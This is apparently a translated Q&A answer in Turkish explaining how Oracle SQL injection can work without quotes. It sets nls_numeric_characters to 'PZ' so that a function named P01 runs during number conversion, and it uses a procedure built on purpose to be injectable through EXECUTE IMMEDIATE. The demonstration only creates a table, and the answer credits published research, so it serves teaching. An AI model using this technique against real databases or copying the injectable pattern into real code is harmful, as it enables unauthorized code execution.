Evet, parametrede tırnak işaretleri olmadan bir SQL enjeksiyon saldırısı gerçekleştirmek mümkündür.
Bunu yapmanın yolu, sayıların ve / veya tarihlerin nasıl işlendiğiyle ilgili bir istismar kullanmaktır. Oturum düzeyinde bir tarih veya sayı biçiminin ne olduğunu belirleyebilirsiniz. Bunu manipüle ederek herhangi bir karakterle enjekte edebilirsiniz.
İngiltere ve ABD'de varsayılan olarak, sayı olarak binlik ayırıcıyı ve ondalık nokta için tam bir durağı belirtmek için virgül kullanılır. Bu varsayılanları aşağıdaki komutları uygulayarak değiştirebilirsiniz:
alter session set nls_numeric_characters = 'PZ';
Bu, "P" nin ondalık nokta ve "Z" nin binlik ayırıcı olduğu anlamına gelir. Yani:
0P01
0.01 sayısıdır. Ancak, bir P01 fonksiyonu oluşturursanız, nesne referansı sayı dönüştürmeden önce alınır. Bu, veritabanında aşağıdaki gibi artan güçler sağlayan işlevleri yürütmenizi sağlar:
Temel bir "id by id" işlevi oluşturun:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Ayrıca istenmeyen bir şey yapan bir P01 işlevi oluşturun (bu durumda sadece bir tablo oluşturmak, ancak fikri anlayabilirsiniz):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Ve gitmeye hazırız:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Hiçbir yerde teklif yok, ama biz hala "gizli" fonksiyonu P01 yürütmek ve tablo oluşturmak başardık t
!
Bunun pratikte yapılması zor olsa da (ve bazı dahili bilgi / yardım gerektirebilir), bu, tırnak işareti olmadan SQL enjekte edebileceğinizi gösterir. Kutuyu değiştirmek nls_date_format
benzer şeylerin yapılmasına izin verebilir.
Sayılarla ilgili orijinal bulgular David Litchfield'a aitti ve makalesini buradan okuyabilirsiniz . Tom Kyte'nin tarihlerin nasıl kullanılabileceğiyle ilgili tartışmasını burada bulabilirsiniz .